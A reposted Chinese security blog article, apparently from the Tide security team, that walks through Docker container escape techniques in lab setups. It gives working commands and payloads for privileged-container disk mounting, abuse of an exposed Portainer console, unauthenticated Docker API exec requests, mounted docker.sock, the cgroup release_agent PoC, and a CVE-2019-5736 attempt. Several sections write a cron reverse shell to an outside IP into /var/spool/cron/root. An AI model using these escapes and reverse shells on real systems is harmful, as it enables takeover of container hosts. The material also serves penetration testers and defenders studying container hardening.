什么是Docker
Docker是一個(gè)開(kāi)源的引擎,可以輕松的為任何應(yīng)用創(chuàng)建一個(gè)輕量級(jí)的、可移植的、自給自足的容器。開(kāi)發(fā)者在筆記本上編譯測(cè)試通過(guò)的容器可以批量地在生產(chǎn)環(huán)境中部署,包括VMs(虛擬機(jī))、bare metal、OpenStack 集群和其他的基礎(chǔ)應(yīng)用平臺(tái)。
判斷當(dāng)前是否為docker環(huán)境
首先在我們拿到一個(gè)主機(jī)權(quán)限之后,需要判斷該權(quán)限所處環(huán)境是不是docker,可以使用下面兩條命令
1.是否存在.dockerenv文件,若該文件存在則為docker環(huán)境,若不存在該文件則當(dāng)前環(huán)境非docker環(huán)境ls-alh/.dockerenv
2.查詢系統(tǒng)進(jìn)程的cgroup信息,docker環(huán)境中的cgroup文件普遍存在docker字段,而真實(shí)環(huán)境中不存在docker字段cat/proc/1/cgroup
Docker逃逸
Docker容器是使用沙盒機(jī)制,是單獨(dú)的系統(tǒng),理論上是很安全的,通過(guò)利用某種手段,再結(jié)合執(zhí)行EXP或POC,就可以返回一個(gè)宿主機(jī)的高權(quán)限shell,并拿到宿主機(jī)的root權(quán)限,可以直接操作宿主機(jī)文件,從容器中逃了出來(lái),因此我們將其稱為Docker逃逸漏洞。
Portainer后臺(tái)掛載宿主機(jī)根目錄進(jìn)行逃逸
Portainer是一個(gè)可視化的容器鏡像的圖形管理工具,利用Portainer可以輕松構(gòu)建、管理和維護(hù)Docker環(huán)境,而且完全免費(fèi),基于容器化的安裝方式,方便高效部署。
需要注意的是后臺(tái)沒(méi)有默認(rèn)賬號(hào)密碼,當(dāng)?shù)谝淮蔚卿浵到y(tǒng)時(shí)會(huì)提示設(shè)置新密碼,在實(shí)戰(zhàn)中可以嘗試爆破。
環(huán)境搭建
在安裝了docker的物理機(jī)中運(yùn)行該命令dockerrun-d-p8000:8000-p9000:9000--name=portainer--restart=always-v/var/run/docker.sock:/var/run/docker.sock-vportainer_data:/dataportainer/portainer-ce
部署成功后訪問(wèn)宿主機(jī)的9000端口,設(shè)置用戶名與密碼
漏洞利用
進(jìn)入容器中,添加一個(gè)新容器
進(jìn)入到portainer后臺(tái)界面
這里給該容器命名并選擇一個(gè)鏡像
下滑到Advanced container settings將console設(shè)置為interactive & tty
然后到Volumes中將根目錄掛載到容器中
然后點(diǎn)擊部署即可
部署成功后回到容器中,進(jìn)入到該容器終端內(nèi)
進(jìn)入到終端后,輸入如下命令ls/tide/
chroot/tide/bash
如此成功逃逸到宿主機(jī)中,也可直接反彈shellecho'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root
privileged特權(quán)模式啟動(dòng)容器
特權(quán)模式逃逸是一種最簡(jiǎn)單有效的逃逸方法,該漏洞的原理是宿主機(jī)使用root用戶或使用sudo命令啟動(dòng)的容器時(shí),docker管理員可通過(guò)mount命令將外部宿主機(jī)磁盤(pán)設(shè)備掛載到容器內(nèi)部,獲取對(duì)整個(gè)宿主機(jī)的文件讀寫(xiě)權(quán)限,可直接通過(guò)chroot切換根目錄、寫(xiě)ssh公鑰和crontab計(jì)劃等逃逸到宿主機(jī)。
特權(quán)模式與非特權(quán)模式的區(qū)別
?LinuxCapabilities
1.普通模式下容器內(nèi)進(jìn)程只可以使用有限的一些Linux Capabilities
2.特權(quán)模式下的容器內(nèi)進(jìn)程可以使用所有的Linux Capabilities
?Linux敏感目錄 1. 普通模式下,部分內(nèi)核模塊路徑比如/proc下的一些目錄需要阻止寫(xiě)入、有些又需要允許讀寫(xiě),這些文件目錄將會(huì)以tmpfs文件系統(tǒng)的方式掛載到容器中,以實(shí)現(xiàn)目錄mask的需求 2. 特權(quán)模式下,這些目錄將不再以tmpfs文件系統(tǒng)的方式掛載
?任何內(nèi)核文件都是可讀寫(xiě) 1. 普通模式下,部分內(nèi)核文件系統(tǒng)(sysfs、procfs)會(huì)被只讀的方式掛載到容器中,以阻止容器內(nèi)進(jìn)程隨意修改系統(tǒng)內(nèi)核 2. 特權(quán)模式下,內(nèi)核文件系統(tǒng)將不再以只讀的方式被掛載
?APPArmor和Seccomp
1.普通模式下,可以通過(guò)配置APPArmor或Seccomp相關(guān)安全選項(xiàng)
2.特權(quán)模式下,這些AppArmor或Seccomp相關(guān)配置將不再生效
?cgroup讀寫(xiě)
1.默認(rèn)情況下,只能以只讀模式操作cgroup
2.特權(quán)模式下,將可以對(duì)cgroup進(jìn)行讀寫(xiě)操作
?/dev
1.普通模式下,容器內(nèi)/dev目錄下看不到節(jié)點(diǎn)/dev目錄下特有的devices
2.特權(quán)模式下,容器內(nèi)的/dev目錄會(huì)包含這些來(lái)自節(jié)點(diǎn)/dev目錄下的那些內(nèi)容
?SELinux
1.特權(quán)模式下,SELinux相關(guān)的安全加固配置將被禁用
2.普通模式下也可以通過(guò)對(duì)應(yīng)的安全選項(xiàng)來(lái)禁用SELinux特性
判斷方法
在容器中可以使用該命令檢測(cè)當(dāng)前容器是否以特權(quán)模式啟動(dòng)cat/proc/self/status|grepCap如果是特權(quán)模式啟動(dòng)的話,CapEff對(duì)應(yīng)的掩碼值在centos中為 0000001fffffffff ,在ubuntu中為0000003fffffffff,如下圖
環(huán)境搭建
在安裝有docker機(jī)器的主機(jī)上直接運(yùn)行該命令,啟動(dòng)該容器即可。dockerrun-it--privilegedubuntu:18.04
漏洞利用
首先我們?yōu)榱藚^(qū)別宿主機(jī)與docker容器的區(qū)別,我們先在宿主機(jī)中新建一個(gè)文件,作為標(biāo)識(shí)區(qū)別
在啟動(dòng)后我們會(huì)進(jìn)入到docker容器的bash中,在這里我們查看當(dāng)前主機(jī)的docker是否為特權(quán)模式啟動(dòng)。cat/proc/self/status|grepCap
我們可以將宿主機(jī)目錄掛載到該docker容器中,首先查看當(dāng)前磁盤(pán)分區(qū)情況,獲得宿主機(jī)分區(qū)fdisk-l
這里我們根據(jù)分區(qū)大小得知到宿主機(jī)的磁盤(pán)為/dev/dm-0,這時(shí)可以直接掛載宿主機(jī)的磁盤(pán)mkdirtide
mount/dev/dm-0/tide/
chroot/tide/
這時(shí)我們會(huì)進(jìn)入一個(gè)bash會(huì)話,在這里可以查看宿主機(jī)的/etc/passwd等敏感文件
這時(shí)去查看剛剛我們?cè)谒拗鳈C(jī)根目錄中創(chuàng)建的flag.txt文件,看其是否存在,就能判斷出我們當(dāng)前是否已經(jīng)成功跳出docker容器
這里可以看到我們現(xiàn)在已經(jīng)成功跳出了docker容器,獲得了宿主機(jī)的權(quán)限,可以使用計(jì)劃任務(wù)反彈shellecho'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root
Docker API 未授權(quán)訪問(wèn)
該漏洞起因是因?yàn)槭褂肈ocker Swarm時(shí),管理的docker 節(jié)點(diǎn)上便會(huì)開(kāi)放一個(gè)TCP端口2375/2376,綁定在0.0.0.0上,如果沒(méi)有做限制訪問(wèn)來(lái)源的話,攻擊者可以通過(guò)Doker未授權(quán)來(lái)控制服務(wù)器。
環(huán)境搭建
在vulhub中存在該漏洞復(fù)現(xiàn)環(huán)境,部署命令如下:cddocker/unauthorized-rce/
docker-composebuild
docker-composeup-d
docker-composeps
也可以在真實(shí)Docker中部署該環(huán)境,部署步驟如下:#下載環(huán)境
curl-o/etc/yum.repos.d/Centos-7.repohttp://mirrors.aliyun.com/repo/Centos-7.repo
curl-o/etc/yum.repos.d/docker-ce.repohttp://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
yumcleanall&&yummakecache
安裝指定版本dockeryuminstall-ydocker-ce-18.09.9
配置加速源vim/etc/docker/daemon.json
{"registry-mirrors":["https://8xpk5wnt.mirror.aliyuncs.com"]}
設(shè)置開(kāi)機(jī)自啟:systemctlenabledocker
systemctldaemon-reload
啟動(dòng)contianerd服務(wù):containerd#啟動(dòng)
systemctlstatuscontainerd#查看服務(wù)狀態(tài)
開(kāi)啟2375端口,提供外部訪問(wèn):vim/usr/lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd-Htcp://0.0.0.0:2375-Hfd://--containerd=/run/containerd/containerd.sock
改完之后需要重啟:systemctldaemon-reload
systemctlrestartdocker
然后我這里還需要在防火墻中將2375端口放行,命令如下:systemctlstartfirewalld
firewall-cmd--zone=public--add-port="2375"/tcp--permanent
firewall-cmd--permanent--query-port="2375"/tcp
systemctlrestartfirewalld
接下來(lái)我們?cè)L問(wèn)該ip的2375端口即可,當(dāng)我們?cè)L問(wèn)時(shí)會(huì)返回 404 page not found。這是 Docker RemoteAPI,可以執(zhí)行docker命令。
這里如果我們繼續(xù)訪問(wèn)http://192.168.198.129:2375/version,會(huì)返回docker的版本信息,這樣證明該漏洞存在。
比如訪問(wèn) http://192.168.198.129:2375/containers/json 會(huì)返回docker信息,和在docker CLI上執(zhí)行 docker ps 的效果一樣,其他操作比如創(chuàng)建/刪除container,拉取image等操作也都可以通過(guò)API調(diào)用完成。
漏洞利用
利用方法1 命令執(zhí)行
訪問(wèn) http://192.168.198.129:2375/containers/json 獲得剛剛返回的exec_id的參數(shù),構(gòu)造如下數(shù)據(jù)包:
POST/containers/7badb971f85814c718dcc4efdd34fead171ebdbb099bc5252f02785374e24b0f/execHTTP/1.1
Host:192.168.198.138:2375
Content-Type:application/json
Content-Length:168
{
"AttachStdin":true,
"AttachStdout":true,
"AttachStderr":true,
"Cmd":[
"cat","/etc/passwd"
],
"DetachKeys":"ctrl-p,ctrl-q",
"Privileged":true,
"Tty":true
}
注意其中cmd的字段,這就是我們要執(zhí)行的命令,發(fā)送后會(huì)得到第二個(gè)id,這里需構(gòu)造一個(gè)exec_start數(shù)據(jù)包,內(nèi)容如下。
POST/exec/962fee39c29a2c9d5ea984b55673a7823aa06b6187eaf4be279f25af6cecad1f/startHTTP/1.1
Host:192.168.198.138:2375
Content-Type:application/json
Content-Length:36
{
"Detach":false,
"Tty":false
}
然后發(fā)送就會(huì)得到結(jié)果,至此成功獲得該docker主機(jī)的rce權(quán)限,但無(wú)法逃逸到宿主機(jī)中。
利用方法2 遠(yuǎn)程連接,新建特權(quán)容器,逃逸到宿主機(jī)中
因?yàn)閐ocker 有遠(yuǎn)程連接命令,由于2375端口暴露,可未授權(quán)訪問(wèn),所以現(xiàn)在可以在我們的主機(jī)上通過(guò)遠(yuǎn)程方式連接doker ,然后以特權(quán)模式啟動(dòng)一個(gè)docker容器,從而達(dá)到逃逸到宿主機(jī)的情況docker-Htcp://192.168.198.138:2375ps
docker-Hdocker-Htcp://192.168.241.142:2375run-it--privilegedalpinebin/sh
進(jìn)入容器后,使用fdisk -l命令查看磁盤(pán)文件fdisk-l
分區(qū)大小得知到宿主機(jī)的磁盤(pán)為/dev/dm-0,這里可以使用上面我們剛剛特權(quán)模式逃逸的命令將該磁盤(pán)掛載到目錄中mkdir/tide/
mount/dev/dm-0/tide/
chroot/tide/
成功逃逸到宿主機(jī)
掛載Docker.sock
Docker架構(gòu)相當(dāng)于C/S架構(gòu),docker.sock就是docker中套docker,docker的client和server的通信模式參考//www.jb51.net/article/99019.htm
利用docker.sock逃逸的前提條件
3.攻擊者獲得了docker容器的訪問(wèn)權(quán)限
4.容器已安裝/var/run/docker.sock
環(huán)境搭建
創(chuàng)建Dockerdockerrun-it-v/var/run/docker.sock:/var/run/docker.sockubuntu:18.04
隨后在docker容器中安裝docker#ubuntu18.04安裝docker
apt-getupdate
#安裝依賴包
apt-getinstallapt-transport-httpsca-certificatescurlgnupg-agentsoftware-properties-common
#添加Docker的官方GPG密鑰
curl-fsSLhttps://download.docker.com/linux/ubuntu/gpg|apt-keyadd-
#驗(yàn)證當(dāng)前是否擁有帶有指紋的密鑰
apt-keyfingerprint0EBFCD88
#設(shè)置穩(wěn)定版?zhèn)}庫(kù)
add-apt-repository"deb[arch=amd64]https://download.docker.com/linux/ubuntu$(lsb_release-cs)stable"
#更新
apt-getupdate
#安裝最新的Docker-ce
apt-getinstalldocker-ce
#啟動(dòng)
systemctlenabledocker
systemctlstartdocker
這時(shí)安裝完成后我們就可以使用docker ps來(lái)看到宿主機(jī)上的容器了。
漏洞利用
將宿主機(jī)的根目錄掛載到容器中dockerrun-it-v/:/tideubuntu:18.04/bin/bash
chroottide
這時(shí)可以看到返回出一個(gè)bash會(huì)話,這里我們就可以看到我們之前在宿主機(jī)中創(chuàng)建的flag.txt了
這里也可以使用計(jì)劃任務(wù)反彈shellecho'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root
掛載宿主機(jī)根目錄
如果在docker啟動(dòng)的時(shí)候掛載了宿主機(jī)的根目錄,就可以通過(guò)chroot獲取宿主機(jī)的權(quán)限dockerrun-it-v/:/tide/ubuntu:18.04
chroot/tide/
相同也可以通過(guò)計(jì)劃任務(wù)反彈shellecho'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root
Cgroup執(zhí)行宿主機(jī)系統(tǒng)命令
docker使用cgroup進(jìn)行資源限制,當(dāng)cgroup中最后一個(gè)任務(wù)結(jié)束且notify_on_release開(kāi)啟,release_agent可執(zhí)行事先提供的命令,因此可以利用這個(gè)特性來(lái)實(shí)現(xiàn)容器的逃逸。
漏洞利用條件
```shell
1.以root用戶身份在容器內(nèi)運(yùn)行 2.使用SYS_ADMINLinux功能運(yùn)行 3.缺少APPArmor配置文件,否則將允許mountsyscall 4.cgroup V1虛擬文件系統(tǒng)必須以讀寫(xiě)方式安裝在容器內(nèi)
####環(huán)境搭建 ```shell dockerrun--rm-it--cap-add=SYS_ADMIN--security-optapparmor=unconfinedubuntu:18.04

漏洞利用
#掛載宿主機(jī)cgroup,自定義一個(gè)cgroup,/tmp/cgrp/x mkdir/tmp/cgrp&&mount-tcgroup-omemorycgroup/tmp/cgrp&&mkdir/tmp/cgrp/x #設(shè)置/tmp/cgrp/x的cgroup的notify_no_release和release_agent #設(shè)置/tmp/cgrp/x的notify_no_release屬性設(shè)置為1,通過(guò)sed匹配出/etc/mtab中perdir=的路徑,然后將路徑+cmd寫(xiě)入/tmp/cgrp/release_agent echo1>/tmp/cgrp/x/notify_on_release host_path=`sed-n's/.*perdir=([^,]*).*/1/p'/etc/mtab` echo"$host_path/cmd">/tmp/cgrp/release_agent #寫(xiě)入自定義命令 echo'#!/bin/sh'>/cmd #結(jié)果在當(dāng)前目錄的output文件中 echo"cat/flag.txt>$host_path/output">>/cmd chmoda+x/cmd #執(zhí)行完sh-c之后,sh進(jìn)程自動(dòng)退出,cgroup/tmp/cgrp/x里不再包含任何任務(wù),/tmp/cgrp/release_agent文件里的shell將被操作系統(tǒng)內(nèi)核執(zhí)行,達(dá)到了容器逃逸的效果 sh-c"echo$$>/tmp/cgrp/x/cgroup.procs"

如上圖所示,成功獲取到宿主機(jī)根目錄的flag.txt的內(nèi)容,同理,我們將上面poc中的echo中的命令修改為反彈shell的命令,即可進(jìn)行反彈shell,獲得宿主機(jī)的權(quán)限。
echo"echo'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root">>/cmd chmoda+x/cmd sh-c"echo$$>/tmp/cgrp/x/cgroup.procs"

runC逃逸-CVE-2019-5736
cve-2019-5736屬于docker環(huán)境逃逸類型漏洞,該漏洞利用runC文件被覆蓋,當(dāng)管理員通過(guò)exec進(jìn)入容器的時(shí)候,觸發(fā)payload,從而達(dá)到逃逸 。個(gè)人理解這種方式利用的條件其實(shí)比較苛刻,主要苛刻在宿主機(jī)中必須有管理員使用exec進(jìn)入當(dāng)前docker環(huán)境,如果宿主機(jī)沒(méi)有在運(yùn)行EXP后進(jìn)入該容器的話,是無(wú)法進(jìn)行逃逸的。
影響版本
dockerversion<=18.09.2?RunC?version?<=1.0-rc6
環(huán)境搭建
在部署該環(huán)境時(shí),需要先將之前系統(tǒng)上所安裝的docker卸載掉安裝18.06版本的docker,我這里直接恢復(fù)了還沒(méi)安裝docker時(shí)的快照,故直接安裝即可。
curlhttps://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw-oinstall.sh&&bashinstall.sh

另外可以使用 Metarget去直接部署環(huán)境,操作命令如下:
安裝Metarget
gitclonehttps://github.com/brant-ruan/metarget.git cdmetarget/ pip3install-rrequirements.txt

部署cve-2019-5736
./metargetcnvinstallcve-2019-5736

如上,已成功搭建好符合版本的docker環(huán)境,接下來(lái)我們啟動(dòng)一個(gè)docker容器即可
dockerrun-itubuntu:18.04

漏洞利用
下載EXP
gitclonehttps://github.com/Frichetten/CVE-2019-5736-PoC

修改payload為反彈shell
修改完之后進(jìn)行編譯,
CGO_ENABLED=0GOOS=linuxGOARCH=amd64gobuildmain.go

編譯后會(huì)生成一個(gè)main的可執(zhí)行文件,這里我們需要將其放到docker容器中,在kali中啟動(dòng)一個(gè)http服務(wù),在容器中使用wget的命令去下載該文件
python3-mhttp.server8080

在docker容器中下載該exp,并賦予執(zhí)行權(quán)限,執(zhí)行
wgethttp://192.168.198.128:8080/main chmodu+xmain ./main

然后這里我們假裝為宿主機(jī)管理員,現(xiàn)在進(jìn)入到該容器中
dockerps dockerexec-it3056c91f69ea

這時(shí)再來(lái)看我們的docker容器里執(zhí)行的exp已然被執(zhí)行
但是奇怪的是并沒(méi)有反彈過(guò)來(lái)shell,其他命令也無(wú)法被執(zhí)行,修改了n次paylaod也無(wú)果,希望有成功的大佬能告知小弟步驟哪里錯(cuò)了。
至此,Docker逃逸章節(jié)完結(jié)
審核編輯:劉清
-
PoC
+關(guān)注
關(guān)注
1文章
75瀏覽量
20853 -
虛擬機(jī)
+關(guān)注
關(guān)注
1文章
966瀏覽量
29230 -
Exp
+關(guān)注
關(guān)注
0文章
7瀏覽量
8388 -
Docker
+關(guān)注
關(guān)注
0文章
515瀏覽量
12860
原文標(biāo)題:Docker逃逸那些事兒
文章出處:【微信號(hào):Tide安全團(tuán)隊(duì),微信公眾號(hào):Tide安全團(tuán)隊(duì)】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
歡迎共同討論matlab 漏洞
Docker是什么?
STM32設(shè)計(jì)的一鍵下載電路其工作過(guò)程是怎樣的
有什么方法可以去檢測(cè)電容觸摸按鍵呢?其過(guò)程是怎樣的
怎樣在RK3399-firefly上安裝Docker容器呢
逃逸鏈梯性能測(cè)試臺(tái)的研制
怎樣在Docker Swarm上部署Apache Storm

評(píng)論